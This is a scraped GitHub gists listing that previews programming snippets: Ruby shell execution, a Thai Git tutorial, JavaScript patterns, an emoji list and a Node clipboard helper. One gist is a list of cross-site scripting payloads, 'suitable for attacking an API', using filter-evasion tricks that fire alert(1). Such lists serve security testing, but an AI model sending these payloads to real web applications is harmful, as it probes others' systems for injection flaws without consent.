Skip to content

Instantly share code, notes, and snippets.

View ayuthmang's full-sized avatar
😊
Hope you have a great year

Ayuth Mangmesap ayuthmang

😊
Hope you have a great year
View GitHub Profile
@JosephPecoraro
JosephPecoraro / shell-execution.rb
Last active September 28, 2025 09:58
Shell Execution in Ruby
# Ways to execute a shell script in Ruby
# Example Script - Joseph Pecoraro
cmd = "echo 'hi'" # Sample string that can be used
# 1. Kernel#` - commonly called backticks - `cmd`
# This is like many other languages, including bash, PHP, and Perl
# Synchronous (blocking)
# Returns the output of the shell command
# Docs: http://ruby-doc.org/core/classes/Kernel.html#M001111
@norsez
norsez / ΰΈΰΈ²ΰΈ£ΰΉƒΰΈŠΰΉ‰ Git ΰΈ‰ΰΈšΰΈ±ΰΈšΰΈ£ΰΈ΅ΰΈšΰΈ£ΰΉ‰ΰΈ­ΰΈ™.md
Created June 29, 2012 09:19
ΰΈΰΈ²ΰΈ£ΰΉƒΰΈŠΰΉ‰ Git ΰΈ‰ΰΈšΰΈ±ΰΈšΰΈ£ΰΈ΅ΰΈšΰΈ£ΰΉ‰ΰΈ­ΰΈ™ #THiOS

#ΰΈΰΈ²ΰΈ£ΰΉƒΰΈŠΰΉ‰ Git ΰΈ‰ΰΈšΰΈ±ΰΈšΰΈ£ΰΈ΅ΰΈšΰΈ£ΰΉ‰ΰΈ­ΰΈ™

##Git Git ΰΉ€ΰΈ›ΰΉ‡ΰΈ™ revision control แบบ distributed (ΰΈ«ΰΈ‘ΰΈ²ΰΈ’ΰΈ„ΰΈ§ΰΈ²ΰΈ‘ΰΈ§ΰΉˆΰΈ²ΰΉ„ΰΈ‘ΰΉˆΰΈ‘ΰΈ΅ΰΈ¨ΰΈΉΰΈ™ΰΈ’ΰΉŒΰΈΰΈ₯ΰΈ²ΰΈ‡) แΰΈ₯ΰΈ° แบบ non-linear history (ΰΈ«ΰΈ‘ΰΈ²ΰΈ’ΰΈ„ΰΈ§ΰΈ²ΰΈ‘ΰΈ§ΰΉˆΰΈ²ΰΈ‘ΰΈ΅ΰΈ›ΰΈ£ΰΈ°ΰΈ§ΰΈ±ΰΈ•ΰΈ΄ΰΈΰΈ²ΰΈ£ΰΉ€ΰΈ›ΰΈ₯ΰΈ΅ΰΉˆΰΈ’ΰΈ™ΰΉΰΈ›ΰΈ₯ΰΈ‡ΰΉΰΈšΰΈšΰΉ„ΰΈ‘ΰΉˆΰΉƒΰΈŠΰΉˆΰΉ€ΰΈͺΰΉ‰ΰΈ™ΰΈ•ΰΈ£ΰΈ‡) ΰΈ”ΰΈ±ΰΈ‡ΰΈ™ΰΈ±ΰΉ‰ΰΈ™ΰΈ—ΰΈ³ΰΉƒΰΈ«ΰΉ‰ΰΈ„ΰΈ­ΰΈ™ΰΉ€ΰΈ‹ΰΈ›ΰΈ•ΰΉŒΰΈ‚ΰΈ­ΰΈ‡ Git ΰΈ™ΰΈ±ΰΉ‰ΰΈ™ΰΈ•ΰΉˆΰΈ²ΰΈ‡ΰΈˆΰΈ²ΰΈ revision control ΰΈ£ΰΈΈΰΉˆΰΈ™ΰΈΰΉˆΰΈ­ΰΈ™ΰΈ«ΰΈ™ΰΉ‰ΰΈ²ΰΈ«ΰΈ₯ΰΈ²ΰΈ’ΰΈ­ΰΈ’ΰΉˆΰΈ²ΰΈ‡

ΰΈ•ΰΉˆΰΈ­ΰΉ„ΰΈ›ΰΈˆΰΈ°ΰΈ­ΰΈ˜ΰΈ΄ΰΈšΰΈ²ΰΈ’ΰΈ’ΰΉˆΰΈ­ΰΉ†ΰΉ€ΰΈ£ΰΈ·ΰΉˆΰΈ­ΰΈ‡ΰΈ„ΰΈ³ΰΈͺΰΈ±ΰΉˆΰΈ‡ Git ΰΉ‚ΰΈ”ΰΈ’ΰΈ­ΰΈ΄ΰΈ‡ΰΈΰΈ±ΰΈšΰΈΰΈ²ΰΈ£ΰΈ—ΰΈ³ΰΈ‡ΰΈ²ΰΈ™ΰΉƒΰΈ™ GitHub ΰΉ€ΰΈ›ΰΉ‡ΰΈ™ΰΈͺำคัญ (Git ΰΈ‘ΰΈ΅ΰΈ§ΰΈ΄ΰΈ˜ΰΈ΅ΰΉƒΰΈŠΰΉ‰ΰΈžΰΈ₯ิกแพΰΈ₯งฑากฑาฒ ΰΉ„ΰΈ›ΰΈ¨ΰΈ΅ΰΈΰΈ©ΰΈ²ΰΈΰΈ²ΰΈ£ΰΉƒΰΈŠΰΉ‰ΰΈ­ΰΈ·ΰΉˆΰΈ™ΰΉ„ΰΈ”ΰΉ‰ΰΈ”ΰΉ‰ΰΈ§ΰΈ’ΰΈΰΈ²ΰΈ£ΰΉ„ΰΈ› Google ΰΉ€ΰΈ­ΰΈ²ΰΉ€ΰΈ­ΰΈ‡)

##clone

ΰΈͺΰΈ‘ΰΈ‘ΰΈΈΰΈ•ΰΈ΄ΰΈ§ΰΉˆΰΈ²ΰΈ‘ΰΈ΅ repository ΰΉΰΈ«ΰΉˆΰΈ‡ΰΈ™ΰΈ΅ΰΈ‡ΰΉƒΰΈ™ GitHub ΰΉ€ΰΈŠΰΉˆΰΈ™ https://github.com/norsez/projectA

@stormwild
stormwild / script.js
Created December 8, 2012 02:50
Immediately-Invoked Function Expression (IIFE) / (jQuery Self Executing Closure Pattern) and other useful javascript snippets
// β€œself-executing anonymous function” (or self-invoked anonymous function)
// Reference: http://stackoverflow.com/questions/188663/jquery-javascript-design-self-executing-function-or-object-literal
;(function($) {
var myPrivateFunction = function() {
};
var init = function() {
@electricg
electricg / LICENSE-MIT
Last active March 27, 2024 20:59
Stopwatch in javascript
Copyright (c) 2010-2015 Giulia Alfonsi <[email protected]>
Permission is hereby granted, free of charge, to any person
obtaining a copy of this software and associated documentation
files (the "Software"), to deal in the Software without
restriction, including without limitation the rights to use,
copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following
conditions:
@JohannesHoppe
JohannesHoppe / 666_lines_of_XSS_vectors.html
Created May 20, 2013 13:38
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
@rxaviers
rxaviers / gist:7360908
Last active October 28, 2025 12:19
Complete list of github markdown emoji markup

People

:bowtie: :bowtie: πŸ˜„ :smile: πŸ˜† :laughing:
😊 :blush: πŸ˜ƒ :smiley: ☺️ :relaxed:
😏 :smirk: 😍 :heart_eyes: 😘 :kissing_heart:
😚 :kissing_closed_eyes: 😳 :flushed: 😌 :relieved:
πŸ˜† :satisfied: 😁 :grin: πŸ˜‰ :wink:
😜 :stuck_out_tongue_winking_eye: 😝 :stuck_out_tongue_closed_eyes: πŸ˜€ :grinning:
πŸ˜— :kissing: πŸ˜™ :kissing_smiling_eyes: πŸ˜› :stuck_out_tongue:
@mikaelbr
mikaelbr / destructuring.js
Last active September 5, 2025 11:19
Complete collection of JavaScript destructuring. Runnable demos and slides about the same topic: http://git.mikaelb.net/presentations/bartjs/destructuring
// === Arrays
var [a, b] = [1, 2];
console.log(a, b);
//=> 1 2
// Use from functions, only select from pattern
var foo = () => [1, 2, 3];
@mkremins
mkremins / pbcopy.js
Created April 17, 2014 21:41
node.js: put text into OS X clipboard
function pbcopy(data) {
var proc = require('child_process').spawn('pbcopy');
proc.stdin.write(data);
proc.stdin.end();
}
@staltz
staltz / introrx.md
Last active October 26, 2025 03:06
The introduction to Reactive Programming you've been missing